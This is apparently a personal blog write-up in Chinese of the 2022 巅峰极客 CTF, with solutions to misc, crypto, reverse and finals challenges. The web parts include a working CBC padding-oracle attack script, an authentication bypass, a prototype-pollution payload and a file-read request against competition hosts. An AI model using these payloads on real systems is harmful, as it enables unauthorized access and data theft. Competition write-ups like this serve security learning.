2022巅峰极客网络安全技能挑战赛 WP

峰巅人才,遗憾下班

不过是第一场有奖金的比赛,纪念一下(10000¥)

Misc

Lost 417pts 5sloves

解压之后发现小压缩包全炸了,010打开和正常压缩包对比发现时间戳的地方少了两个字节,手动插进去就能正常打开,可以解压出来一个缺少文件头的png。

加上头和IDHR得到一个很炸的png

宽度手试出来是0fa0(正确宽度越近,红绿蓝条纹就越规则)(虽然我不知道我队友为什么没试试爆CRC或者gimp),就能看到《时间很重要》的提示
读时flag.zip(一开始炸了的)文件的时间信息:

1
2
3
4
for i in range(1,31):
# flagx.zip是外边直接解压的
dat=open(f"flag{i}.zip","rb").read()[0x46:0x48]
print(dat.hex())

注意到所有压缩包实际时间的两字节大提升是递减的,尝试前后亦或,右移等操作无果
队友发来一句“如果第一个时间对应f,那第二个对应f+6=l”(https://chowdera.com/2022/195/202207130529022205.html )想到可以试试差值做,057e-0518出现了f,之后是lag,游戏结束

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
a = [ # 上边的输出,错位
0x057e - 0x0518,
0x0518 - 0x0584,
0x0584 - 0x05e5,
0x05e5 - 0x057e,
0x057e - 0x0503,
0x0503 - 0x0557,
0x0557 - 0x04ee,
0x04ee - 0x0481,
0x0481 - 0x041c,
0x041c - 0x03bd,
0x03bd - 0x0374,
0x0374 - 0x0301,
0x0301 - 0x0360,
0x0360 - 0x030d,
0x030d - 0x02be,
0x02be - 0x02eb,
0x02eb - 0x0354,
0x0354 - 0x03a1,
0x03a1 - 0x03f1,
0x03f1 - 0x03c1,
0x03c1 - 0x0413,
0x0413 - 0x03bf,
0x03bf - 0x037e,
0x037e - 0x0330,
0x0330 - 0x02dc,
0x02dc - 0x02bb,
0x02bb - 0x029a,
0x029a - 0x0279,
0x0279 - 0x02f6,
]

for c in a:
print(chr(abs(c)), end='')

Crypto

point power 125pt 61solves

椭圆曲线运算:从理论到实践 处了解到,标量乘 2 的 x 坐标变化是,$m = \frac{3x_1^2+a}{2y_1}, x_2 = m^2-2x_1$

$$
m^2 = x_2 + 2 * x_1\
\frac{(3 x_1^2 + a)^2}{4 y_1^2} = m^2\
y_1^2 = x_1^3 + ax_1 + b\
(3 x_1^2 + a)^2 = 4 m^2 x_1^3 + 4 m^2 a x + 4 m^2 b\
9 x_1^4 + 6x_1^2 a + a^2 = 4 m^2 * x^3 + 4 m^2 x_1 a + 4 m^2 b\
a^2 + (6 x_1^2 - 4 m^2 x_1) a + 9 x_1^4 - 4 m^2 x_1^3 - 4 m^2 b = 0 (mod P)\
$$

最后解模意义下的一元二次方程即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from Crypto.Util.number import *

p = 3660057339895840489386133099442699911046732928957592389841707990239494988668972633881890332850396642253648817739844121432749159024098337289268574006090698602263783482687565322890623
b = 1515231655397326550194746635613443276271228200149130229724363232017068662367771757907474495021697632810542820366098372870766155947779533427141016826904160784021630942035315049381147
x1 = 2157670468952062330453195482606118809236127827872293893648601570707609637499023981195730090033076249237356704253400517059411180554022652893726903447990650895219926989469443306189740
x2 = 1991876990606943816638852425122739062927245775025232944491452039354255349384430261036766896859410449488871048192397922549895939187691682643754284061389348874990018070631239671589727

mq = x2 + 2 * x1
mq4 = 4 * mq
bb = 6 * x1^2 - mq4 * x1
cc = 9 * x1^4 - mq4 * x1^3 - mq4 * b


P.<X> = PolynomialRing(GF(p))
f = X^2 + bb*X + cc
r = f.roots()
for x, _ in r:
print(long_to_bytes(x))

strange curve 104pt 78solves

先看一下 flag 是怎么流的:

1
2
3
4
5
6
7
8
9
10
11
12
13
x = bytes_to_long(flag)

while True:
try:
...
except:
x += 1

P = (x, y)
print(f"P = {P}")
'''
P = (56006392793427940134514899557008545913996191831278248640996846111183757392968770895731003245209281149, 5533217632352976155681815016236825302418119286774481415122941272968513081846849158651480192550482691343283818244963282636939305751909505213138032238524899)
'''

虽然有一个 while True 里面有 x += 1,但是可以盲猜加的次数不是很多,大概只会影响后面几个 byte。
而且后面的 print(P) 输出了 x,然后直接 long_to_bytes(56006392793...),就拿到了
flag{b7f209df-1284-4bdf-b030-28197483c47b}
所以说 x += 1 甚至没加过

Web

babyweb 173pt 39solves

根据提示,存在 CBC Padding Oracle

观察和尝试可得,密码有 64 位,修改第 36 至 63 位会发生 padding error,所以猜测 chunk 是 16 位。
已知 CBC 每一块的解密流程是:cipher —AES—> intermedian —xor iv—> plain text。
然后在相邻两组之间,前一个的 ciphertext 作为后一组的 iv。我们可以枚举 iv 最后一个位,看看哪个 byte 可以让解密出来的文本的 padding 为 0x01(此时就不会爆 padding error 了),这时我们就可以把 0x01 和 iv 的最后一位异或一下,就可以拿到 intermedian 的最后一位了。
以此类推,就可以摸到 intermedian 的全部值。再拿 intermedian 异或真正的 iv,就可以拿到明文。这部分的内容,网上已经有很多关于 CBC Padding Oracle Attack 的教程,这里就不再赘述了。
然后对于每相邻的两个块,都可以用这种方式爆破出后一个块的 intermedian 值,进而拿到这一块的明文。

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import base64
import requests
from Crypto.Util.strxor import strxor
from Crypto.Util.Padding import unpad

session = 'eyJhZG1pbl9wYXNzd29yZCI6IlNwOTlRNU9DN2NTb2VrWlRkZFRQZEE3RHpMUWJpUGtSTWwzRDBiMmJ3YS95dmZMSEc2YWpWRVhScmh3cGVVVDYrNmlWYTRja2dKd0FsL2pHcy91L0JBPT0iLCJpc2FkbWluIjpmYWxzZX0.YvzJYQ.6hevEiFyct_BhWVc8WtfmZf5qf0'
password = list(base64.b64decode(b'Sp99Q5OC7cSoekZTddTPdA7DzLQbiPkRMl3D0b2bwa/yvfLHG6ajVEXRrhwpeUT6+6iVa4ckgJwAl/jGs/u/BA=='))

def chunks(lst, n):
for i in range(0, len(lst), n):
yield lst[i:i + n]

groups = list(chunks(password, 16))

def get(password):
payload = { 'username': 'admin', 'password': 'admin' }
cookies = { 'session': session, 'admin_password': base64.b64encode(bytes(password)).decode() }
r = requests.post('http://eci-2ze2vftwh3e6xhybsqxm.cloudeci1.ichunqiu.com/login', cookies=cookies, data=payload)
return r.text

text = b''
for chunk in range(3):
intermedia = [0] * 16
for i in range(1, 16 + 1):
for j in range(256):
intermedia[-i] = j
iv = [i] * 16
for k in range(16):
iv[k] ^= intermedia[k]
result = get(iv + groups[chunk + 1])
print('{:3d} => {}'.format(j, result))
if result == 'False':
break
print(intermedia)
text += strxor(bytes(intermedia), bytes(groups[chunk]))
print(unpad(text))

然后拿到明文密码之后,用 admin 登录一下,就拿到了 flag。

Re

ObfPuzz(二血)400pt 6solves

分析php文件,注意以下几点:

  • vardump的调用
  • 匹配成功需要固定的正确前缀,长度不超过500
  • 整段内容必须是唯一的,虽然成功需要正确前缀,但是生成flag是整段内容。

IDA打开so,搜索字符串看看是不是RealWordRE,然后看到了flag字样,x跟入分析发现可能是一个有向图的终点,写脚本反向dfs发现会死循环:

脚步需要的手动操作:n重命名flag!!所在的函数为last

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# 这里的visit写炸了
def dfs(name, pwd, visit, dept):
if name == "sub_1443":
print(name, "".join(pwd))
input("win!!!")
if dept > 500 or name in visit:
return
try:
print(name, "".join(pwd))
func = idaapi.get_func(get_name_ea_simple("_"+name))
ea = func.start_ea
ref = DataRefsTo(ea)
next(ref) # skip plt
got = next(ref)
useages = DataRefsTo(got)
useages_rand = [u for u in useages]
random.shuffle(useages_rand)
for fun in useages_rand:
code = str(idaapi.decompile(fun))
switch = re.findall("if \( v3 == (.*?) \)\n.*?= "+name+";",code)
if (len(switch)>0):
func_name = re.findall("unsigned __int64 __fastcall (.*?)\(",code)[0]
c_pass = pwd.copy()
c_visit = visit.copy()
c_visit.append(name)
c_pass.append(chr(int(switch[0]))) # assert only 1
dfs(func_name, c_pass, c_visit, dept+1)
else:
print("Dead")
except:
pass

dfs('last', [], [], 0)

换成所有节点只访问一次,queue很快跑到了起点,并输出节点相关信息可视化建图如下:
svg
发现有重边,不考虑重边也存在环,最短路和最长路做答案都不正确,于是从起点(有oops函数跟进的F字母)出发,改脚本爆出所有不走重复节点的答案(保证解是有限的):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import queue


buffer_next = {}
def get_next(name):
global buffer_next
if name in buffer_next:
for item in buffer_next[name]:
yield item
else:
buffer = []
try:
func = idaapi.get_func(get_name_ea_simple("_" + name))
code = str(idaapi.decompile(func))
switch = re.findall(r"if \( v3 == (.*?) \)\n.*?= (.*?);", code)
if len(switch) > 0:
for pair in switch:
key, func_name = chr(int(pair[0])), pair[1]
print('{} => {}'.format(name, func_name))
buffer.append((key, func_name))
yield (key, func_name)
buffer_next[name] = buffer
except Exception as e:
print(e)

def advanced_dfs():
q = queue.Queue()
q.put(('sub_1443', '', '', set(['sub_1443'])))

while not q.empty():
now, father, path, visited = q.get()
if now == 'last':
print(len(path), path)
continue

for key, next_name in get_next(now):
if next_name in visited:
continue
visited_copy = visited.copy()
visited_copy.add(next_name)
q.put((next_name, now, path + key, visited_copy))

advanced_dfs()

拿所有输出爆本地服务器:

1
2
3
4
5
6
7
# dat='''上边IDA-Python的输出'''
import requests
for i in dat.split("\n"):
r=requests.get("http://ip:1447/?flag="+i.split(" ")[1])
if ("flag{" in r.text):
print(r.text)
print(i)

在所有结果中跑出了正确的那个

1
2
3
4
5
[debug]: verify(374)
flag!!!<br>int(0)
SUCCESS
<br><br>win! your flag is: flag{4ed4c7872f71240d75624ff04d25631f}
374 FSTVHUReZ13z9UYDNTwDUwJSAFjPEUbs1oii61Q79GZnqWoIMu4W8e6n6iy9oi9ElOcRKA8yMwRjJblt5xu5KOBOc3XBOPM3VDFrihROOMpjPs4ZevQrDmkppC74k2XjzqbiJkMuVHeq8iVWWyiw9W0glTEth348odMbKTABtjoZEE94uqQomly4emxwKLZyPsMPCUXyFmacSXFebwIZmbHBDaRw0AAKMEVpbaIFV3p57WiTsbDkey1UL4LBttYIH4BXQZJ51p7hjRdW8yo6WH33XROfXnFpYBP44wkRJhxQHWGVDdmluUTEHDu0DdhsDCghrGqrBoZIJttSwrIjisxdeBtj5A6Ch2LKkanHNguUefegZrqVCo

决赛

StrangeTemporature

Extract nth base64 bytes from modbus/tcp protocl.

1
ZmxhZ3s5N2JmZWIwMy1mYTVjLWFhNmYtYWQxZS05YzVkMzhjNzQ0OWV9

From Base64:

1
flag{97bfeb03-fa5c-aa6f-ad1e-9c5d38c7449e}

Nodesystem

In the POST /api we can use an arbitrary filename, find the directory:

1
{"auth": {"name[]":"admin", "password[]":true}, "filename" : "test"}

Use the index.js we can find the source code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
const express = require('express'); 
const bodyParser = require('body-parser');
const _ = require('lodash');
const app = express();
var fs = require('fs');

app.set('view engine', 'pug');
app.set('views', 'views');

app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.static('static'));

const users = [
{ name: 'test', password: 'test' },
{ name: 'admin', password: Math.random().toString(32), admin: true },
];

let messages = [];
let lastId = 1;

function findUser(auth) {
return users.find((u) =>
u.name === auth.name &&
u.password === auth.password);
}

app.use(bodyParser.json());

app.get('/users', (req, res, next) => {
const lists = users;
res.render('users', { lists: lists, pageTitle: 'List of Users', path: '/users' });
});

app.get('/', (req, res, next) => {
res.render('home', { pageTitle: 'Home', path: '/' });
});

app.post('/', (req, res, next) => {
users.push({ name: req.body.name, password: req.body.password });
res.redirect('/users');
});

app.get('/message', (req, res) => {
res.send(messages);
});

app.put('/message', (req, res) => {
const user = findUser(req.body.auth || {});
console.log(req.body.auth);
console.log(user);
if (!user) {
res.status(403).send({ ok: false, error: 'Access denied' });
return;
}

const message = {
avator: '= =',
};

_.merge(message, req.body.message, {
id: lastId++,
userName: user.name,
});

messages.push(message);
res.send({ ok: true, message: message });
});

app.delete('/', (req, res) => {
res.send({ ok: true });
});

app.post('/upload', (req, res) => {
res.send({ ok: true });
});

app.post('/api', (req, res) => {
const user = findUser(req.body.auth || {});
if(!user) {
res.status(403).send({ ok: false, error: 'Access denied' });
return;
}

filename = req.body.filename;
testFolder = "/app/";
fs.readdirSync(testFolder).forEach(file => {
if (file.indexOf(filename) > -1) {
var buffer = fs.readFileSync(filename).toString();
res.send({ok: true, content: buffer});
}
});
});

app.post('/debug', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user || !user.admin) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
var buffer = fs.readFileSync('/flag').toString();
res.send({ok: true, content: buffer});
});

app.listen(80, () => {
console.log('Listening port 80');
});

In the message function, we can put a prototype pollution.

1
{"auth": {"name":"test", "password":"test"},"message":{"admin":true},"message":{"__proto__":{"admin":true}}}

Then request POST /debug:

1
{"auth": {"name":"test", "password":"test"}, "filename":"index.js"}
1
flag{bb5c92fd-e976-482d-bd8d-fe75c7709473}

gcd

Find this article: https://math.stackexchange.com/questions/985085/attack-on-rsa-factoring-when-knowing-e-and-d

Then use the method from this pptx: https://web.archive.org/web/20081122133715/https://www.cs.purdue.edu/homes/ninghui/courses/Fall04/lectures/lect14-c.pdf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from math import gcd
from Crypto.Util.number import long_to_bytes

q = 159525841996122259638149337206281835567662617929665920269309853980712285666023866332657448035118551608001550994903698308487351441079422360280138462655773347141043597936907238815312380200758714954107355308055568297512583285577797251677925038300853004432614390391636707991425386888624638839063346101278704535117
p = 103688092798943310982647402600171114966652177364073806894252414673051932505190807013641061853384728919598237520908212107621239686924781921343629185171175594445990343702682252985633398911055809553488617609113015580598645062510893878938013992487439634057319597008364777435777902433026095622460842345150901944567

n = 1715097516831775561161353747739509313962850384763754284193603064705990003183954750857689649540587082555847904377918426763475079170697690469267290454724999354302036981034615698694153403754870938739225201770934147845874793740053505575413463153429315475539039712818850905666950096326806695688446947957198050957270336443016980023115464136303403780696015358461369838964806435293267645492940773964907954737849962270208167145137818071024789445448292917016422004351584109968952746852305729861258178402122017513103311904147173869605944992973485253275501741635308107788593258463591060922145241960065862813218690280146883588390356662245698217956617720339878472430817614915509896516775918109916920083183701011823993137753987826242193055167215287839864164955881557719443664876504155709359476375455266912247205663953373944852046907623883953483708248467223346798885142046228485310724692353541792975390854356153906879056788972704718688261213
x = 13693034247131001247611357013365838905472128629161269384100755984286945944986882779020879733934334461215591081830359749241927901759168319107452036275703768755532293338513836146556306490425526394420440685291299327486258632666082657664827474947846307949205548526817689180357262646108048851554962291154624349603853599623877095789135051759890435127891210971940795915429197420232561510826760487552089621705187244655827668509013761027910519038664267576214742561936826964572261315984043602119812357324667105678247267841445497640859880436819217418374184256023378843611198818733281625017307272013394628328908242726204785568269
c = 1207106262178445359018459948589897274651891185968586806427714234447059397099330669443037189913958678506147447588787686432870791586266645067569198511010947847769438531195366288233395081813524859121328300315116211130908169351354477893647936383056584771268247471788727296968981371535384241445434057942795625350351461517179136190258136244456887118978348223420158887403238429201791427682781494296473806409015961385580794909106746874670027369932286414096790928966277930586468864071103687837936910843559150279603968747213779555572156135983177121194768041838538456267670795923361920648635769732101772513407467158904982779342496410211785417729464008786654808126619152228029357660596380038858050797654917902576424059433048290426186067840363899227577713800670585547473870112798624948349947633855963137174688403113603549470708467306886181387445601800049442519922530086418265660642841544022198981442640591637598035257382429976435264690303

assert n == p * p * q

e = 65537
phi = p * (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)
print(long_to_bytes(m))

raise Exception()

r = n * x - 1
while r % 2 == 0:
r //= 2

w = 3793879
w = pow(w, r, n)
v = pow(w, 2, n)
while v != 1:
w = v
v = pow(w, 2, n)
if gcd(w - 1, n) != 1:
print(gcd(w - 1, n))
if gcd(w + 1, n) != 1:
print(gcd(w + 1, n))
1
flag{bs903sk_fbnw34f8_cwn3efh}

babyProtocol

Use IOA concat flag:

1
flag{68b34d92d8a8445039dce-d6819d2362d5}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import json

s = json.load(open("e:\\desk\\2.json", "r", encoding="utf8"))
d = ['*' for _ in range(99)]
for i in s:
try:
r = i['_source']['layers']['iec60870_asdu'].keys()
for j in r:
if "IOA" in j:
dat = i['_source']['layers']['iec60870_asdu'][j]
idx = int(dat['iec60870_asdu.ioa'])
c = chr(int(dat["iec60870_asdu.bcr.count"]))
print(dat)
if d[idx] != "*" and d[idx] != c:
raise Exception("FUCK")
if dat['iec60870_asdu.bcr.iv'] != '1':
d[idx] = c
except KeyError:
pass

print(''.join(d))

Remove all frames that IV=1

1
flag{68b34d92d88445039dced6819d2362d5}

2022巅峰极客网络安全技能挑战赛 WP

https://ghostfrankwu.github.io/2022/08/18/2022dfjk/

作者

Frank Wu

发布于

2022-08-18

更新于

2025-02-07

许可协议